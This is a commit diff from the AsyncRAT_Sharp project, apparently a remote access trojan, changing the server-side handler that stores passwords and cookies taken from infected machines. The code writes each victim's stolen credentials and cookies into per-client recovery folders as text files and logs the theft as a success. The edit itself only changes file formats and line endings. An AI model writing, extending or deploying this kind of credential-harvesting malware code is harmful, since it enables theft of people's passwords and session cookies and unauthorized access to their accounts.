Update HandleRecovery.cs

This commit is contained in:
NYAN CAT 2019-06-02 08:22:41 +03:00
parent 5538fc87af
commit c3b6f6faa1

View File

@ -20,8 +20,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery"); string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery");
if (!Directory.Exists(fullPath)) if (!Directory.Exists(fullPath))
return; return;
File.WriteAllText(fullPath + "\\Password.rtf", unpack_msgpack.ForcePathObject("Password").AsString); File.WriteAllText(fullPath + "\\Password.txt", unpack_msgpack.ForcePathObject("Password").AsString.Replace("\n", Environment.NewLine));
File.WriteAllText(fullPath + "\\Cookies.rtf", unpack_msgpack.ForcePathObject("Cookies").AsString); File.WriteAllText(fullPath + "\\Cookies.txt", unpack_msgpack.ForcePathObject("Cookies").AsString.Replace("\n", Environment.NewLine));
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
} }
catch { } catch { }